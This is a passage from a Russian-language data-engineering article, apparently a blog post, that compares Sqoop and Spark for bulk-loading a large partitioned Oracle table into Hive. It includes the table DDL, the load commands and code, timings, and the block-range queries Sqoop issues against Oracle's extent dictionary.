BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_45" VALUES LESS THAN (466183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_46" VALUES LESS THAN (472183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_47" VALUES LESS THAN (478183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_48" VALUES LESS THAN (484183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_49" VALUES LESS THAN (490183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_50" VALUES LESS THAN (496183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_51" VALUES LESS THAN (502183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_52" VALUES LESS THAN (508183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_53" VALUES LESS THAN (514183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_54" VALUES LESS THAN (520183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_55" VALUES LESS THAN (526183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_56" VALUES LESS THAN (532183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_57" VALUES LESS THAN (538183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_58" VALUES LESS THAN (544183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_59" VALUES LESS THAN (550183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_60" VALUES LESS THAN (556183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_61" VALUES LESS THAN (562183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_62" VALUES LESS THAN (568183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_63" VALUES LESS THAN (574183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_64" VALUES LESS THAN (580183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_65" VALUES LESS THAN (586183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_66" VALUES LESS THAN (592183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_67" VALUES LESS THAN (598183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_68" VALUES LESS THAN (604183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_69" VALUES LESS THAN (610183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_70" VALUES LESS THAN (616183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_71" VALUES LESS THAN (622183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_72" VALUES LESS THAN (628183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_73" VALUES LESS THAN (634183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_74" VALUES LESS THAN (640183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_75" VALUES LESS THAN (646183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_76" VALUES LESS THAN (652183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_77" VALUES LESS THAN (658183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_78" VALUES LESS THAN (664183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_79" VALUES LESS THAN (670183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_80" VALUES LESS THAN (676183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_81" VALUES LESS THAN (682183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_82" VALUES LESS THAN (688183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_83" VALUES LESS THAN (694183736) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC NOLOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" ,
PARTITION "SERVICE_FEATURE_MAX" VALUES LESS THAN (MAXVALUE) NO INMEMORY SEGMENT CREATION IMMEDIATE
PCTFREE 0 PCTUSED 40 INITRANS 7 MAXTRANS 255
COMPRESS BASIC LOGGING
STORAGE(INITIAL 8388608 NEXT 1048576 MINEXTENTS 1 MAXEXTENTS 2147483645
PCTINCREASE 0 FREELISTS 1 FREELIST GROUPS 1
BUFFER_POOL KEEP FLASH_CACHE DEFAULT CELL_FLASH_CACHE DEFAULT)
TABLESPACE "DATA" )
PARALLEL 8 ;
```
Будем загружать самую большую партицию SERVICE\_FEATURE\_MAX (14 млрд строк)
Загрузка с помощью Sqoop будет выглядеть следующим образом:
```
sqoop import \
--num-mappers 8 \
--fetch-size 100000 \
-Dmapreduce.task.timeout=0 \
-D mapreduce.map.memory.mb=16384 \
-Doraoop.import.partitions='"SERVICE_FEATURE_MAX"' \
--hcatalog-database customer360_stg \
--hcatalog-table customer_oracle_sqoop \
--connect jdbc:oracle:thin:@//10.31.178.66:1521/ORCL \
--username user \
--password password \
--table DWH.SERVICE_FEATURE \
--drop-and-create-hcatalog-table \
--hcatalog-storage-stanza 'stored as orcfile' \
--direct
```
Потребляемые ресурсы*: 9 Cores, 144GB RAM*
Время загрузки: *~ 26 часов (14 часов, если загружать в текстовом формате хранения)*
Теперь попробуем загрузить эту же таблицу через Spark.
Будем сразу же грузить в 8 потоков, как в Sqoop.
Применив способ, который описан в документации по Spark, и взяв псевдостолбец ROWNUM за поле, по которому будем делить таблицу (можно использовать другое поле, по которому есть равномерное распределение и можно разделить на порции), мы получим вот такой код:
```
//Получаем максимальное значение rownum
val max = spark.
read.
format("jdbc").
option("url", "jdbc:oracle:thin:@//10.31.178.66:1521/ORCL").
option("user", "user").
option("password", "password").
option("driver", "oracle.jdbc.driver.OracleDriver").
option("dbtable", s"( select max(rownum) as row_num FROM DWH.SERVICE_FEATURE PARTITION (SERVICE_FEATURE))").
load().
collect().
map(_.getDecimal(0)).
head.toBigInteger
//Загружаем данные
val etlDF = spark.
read.
format("jdbc").
option("url", "jdbc:oracle:thin:@//10.31.178.66:1521/ORCL").
option("user", "user").
option("password", "password").
option("driver", "oracle.jdbc.driver.OracleDriver").
option("dbtable", "( select a.*, rownum as row_num FROM DWH.SERVICE_FEATURE PARTITION (SERVICE_FEATURE) a)" ).
option("partitionColumn", "row_num").
option("upperBound", max.toString().toInt).
option("lowerBound", 0).
option("numPartitions", 8).
option("fetchSize", "10000").
option("driver", "oracle.jdbc.driver.OracleDriver").
load()
//сохраняем
etlDF.
write.
mode(SaveMode.Overwrite).
format("orc").
saveAsTable("customer360_stg.customer_oracle_spark")
```
Потребляемые ресурсы: *9 Cores, 132GB RAM*
Время загрузки: *Принудительно завершил загрузку после 35 часов*
Почему так происходит?
----------------------
После таких результатов в основном делают выводы, что сравнение загрузок через Sqoop и Spark завершено и предпочтение надо отдавать Sqoop.
Давайте попробуем разобраться, в чём же магия загрузки через Sqoop, ведь и Sqoop, и Spark используют JDBC-соединение (которое никак не кастомизировалось, кроме как fetchSize), с одинаковым количеством сессий. Но при этом Sqoop использует устаревшую технологию MapReduce, а Spark все операции проделывает в оперативной памяти, что должно сказаться на производительности при преобразовании данных в формат ORC.
Но это не так, так как в нашем случае при загрузке через Spark все 8 потоков делают fullscan партиции, отфильтруют нужные значения и отправят их на executor, а так как объёмы данных большие, то они не будут помещаться в память и будет происходить spill to disk и много еще других операций, которые будут только увеличивать время загрузки. Чтобы избавится от спила, необходимо увеличивать число параллелей, а это увеличивает число сессий и фулсканов таблицы.
И для того, чтобы начать эффективно загружать таблицу, необходимо разобраться, почему Sqoop не делает fullscan для каждой сессии, а знает, что ему прочитать с максимальной эффективностью, так, что каждая сессия знает, какой ей блок прочитать. О блока, экстентах, сегментах можно прочитать [вот здесь](https://oracle-dba.ru/docs/architecture/tablespaces/segments-extents-and-blocks).
Если запустить загрузку через Sqoop и посмотреть, какие запросы делает загрузчик к базе данных, то там можно обнаружить вот такой интересный запрос:
```
SELECT
data_object_id,
file_id,
relative_fno,
file_batch,
MIN (start_block_id) start_block_id,
MAX (end_block_id) end_block_id,
SUM (blocks) blocks
FROM
(SELECT
o.data_object_id,
e.file_id,
e.relative_fno,
e.block_id start_block_id,
e.block_id + e.blocks - 1 end_block_id,
e.blocks,
CEIL (SUM(e.blocks) OVER (PARTITION BY o.data_object_id, e.file_id ORDER BY e.block_id ASC) /
(SUM (e.blocks)OVER (PARTITION BY o.data_object_id,e.file_id) / 21)) file_batch
FROM
dba_extents e,
dba_objects o,
dba_tab_subpartitions tsp
WHERE
o.owner = 'DWH'
AND o.object_name = 'SERVICE_FRATURE'
AND e.owner = 'DWH'
AND e.segment_name = 'SERVICE_FRATURE'
AND o.owner = e.owner
AND o.object_name = e.segment_name
AND (o.subobject_name = e.partition_name
OR (o.subobject_name IS NULL
AND e.partition_name IS NULL))
AND o.owner = tsp.table_owner(+)
AND o.object_name = tsp.table_name(+)
AND o.subobject_name = tsp.subpartition_name(+))
GROUP BY
data_object_id,
file_id,
relative_fno,
file_batch
ORDER BY data_object_id,
file_id,
relative_fno,
file_batch
```
Результат этого запроса будет выглядеть следующим образом:
Посмотрим, какую информацию выводит запрос, обратившись к документации Oracle:
| | | | |
| --- | --- | --- | --- |
| № | Column | Description | Comment |
| 1 | DATA\_OBJECT\_ID | Dictionary object number of the segment that contains the object | |
| 2 | FILE\_ID | File identifier number of the file containing the extent | |
| 3 | RELATIVE\_FNO | Relative file number of the first extent block | |
| 4 | FILE\_BATCH | Number оf the batch in file | |
| 5 | START\_BLOCK\_ID | Starting block number of the extent | |
| 6 | END\_BLOCK\_ID | Block number of the extent | START\_BLOCK\_ID + BLOCKS - 1 |
| 7 | BLOCKS | Size of the extent in Oracle blocks | |
| 8 | SUBOBJECT\_NAME | Name of the subobject (for example, partition) | Поле в выводе не участвует, но в дальнейшем оно нам понадобится |
На основании полученных данных Sqoop строит свои запросы для выгрузки, которые выглядят так:
```
SELECT /*+ NO_INDEX(t) */ CUSTOMER_ID,SYS_CREATION_DATE,SYS_UPDATE_DATE,OPERATOR_ID,APPLICATION_ID,DL_SERVICE_CODE,DL_UPDATE_STAMP,CONTACT_TELNO,CONTACT_TN_EXTNO,CONTACT_FAXNO,CONTACT_COUNTRY_CODE,WORK_TELNO,WORK_TN_EXTNO,HOME_TELNO,OTHER_TELNO,OTHER_EXTNO,OTHER_TN_TYPE,BIRTH_DATE,EMPLOYMENT_DT,EMPLYR_NAME,EMPLOYEE_QTY,YEARS_IN_BUSINESS,EMPLOYEE_POSITION,BUSINESS_EST_DATE,MARKET_ID,GUR_CR_CARD_TYPE,GUR_CR_CARD_NO,GUR_CR_CARD_EXP_DT,ACC_PASSWORD,VERIFIED_DATE,COMPANY_REGISTER_NUM,BUSINESS_CATEGORY,CONV_RUN_NO,LEGACY_CST_NUM,E_MAIL_ADDR,MAILSHOT,IMEI_BLACK_LIST_PASS,COMPANY_TYPE,CUST_GENDER,CUST_PERSONAL_ID,CUST_NATIONALITY,CUST_DOC_TYPE,CUST_DOC_ID,CUST_DOC_NO,CUST_DOC_DATE,CUST_DOC_ISSUE,EMP_NO,AUTPRSN_BIRTH_DATE,AUTPRSN_PERSONAL_ID,GUARANTOR_TYPE,GUR_PERSONAL_ID,GUR_COMPANY_REG_NUM,START_TIME_AT_BANK,GUR_BIRTH_DATE,GUR_TAX_NUMBER,REGISTER_IND,CONTACT_TELNO_2ND,CONTACT_TN_EXTNO_2ND,CONTACT_FAXNO_2ND,CONTACT_COUNTRY_CODE_2ND,CREDIT_CARD_IND,AUTHORIZED_SEC,LEGAL_NAME_FORM,'1024_4' data_chunk_id
FROM DWH.CUSTOMER t
WHERE ((rowid >= dbms_rowid.rowid_create(1, 510042, 1024, 127475712, 0) AND rowid <= dbms_rowid.rowid_create(1, 510042, 1024, 127696895, 32767)))
UNION ALL
SELECT /*+ NO_INDEX(t) */ CUSTOMER_ID,SYS_CREATION_DATE,SYS_UPDATE_DATE,OPERATOR_ID,APPLICATION_ID,DL_SERVICE_CODE,DL_UPDATE_STAMP,CONTACT_TELNO,CONTACT_TN_EXTNO,CONTACT_FAXNO,CONTACT_COUNTRY_CODE,WORK_TELNO,WORK_TN_EXTNO,HOME_TELNO,OTHER_TELNO,OTHER_EXTNO,OTHER_TN_TYPE,BIRTH_DATE,EMPLOYMENT_DT,EMPLYR_NAME,EMPLOYEE_QTY,YEARS_IN_BUSINESS,EMPLOYEE_POSITION,BUSINESS_EST_DATE,MARKET_ID,GUR_CR_CARD_TYPE,GUR_CR_CARD_NO,GUR_CR_CARD_EXP_DT,ACC_PASSWORD,VERIFIED_DATE,COMPANY_REGISTER_NUM,BUSINESS_CATEGORY,CONV_RUN_NO,LEGACY_CST_NUM,E_MAIL_ADDR,MAILSHOT,IMEI_BLACK_LIST_PASS,COMPANY_TYPE,CUST_GENDER,CUST_PERSONAL_ID,CUST_NATIONALITY,CUST_DOC_TYPE,CUST_DOC_ID,CUST_DOC_NO,CUST_DOC_DATE,CUST_DOC_ISSUE,EMP_NO,AUTPRSN_BIRTH_DATE,AUTPRSN_PERSONAL_ID,GUARANTOR_TYPE,GUR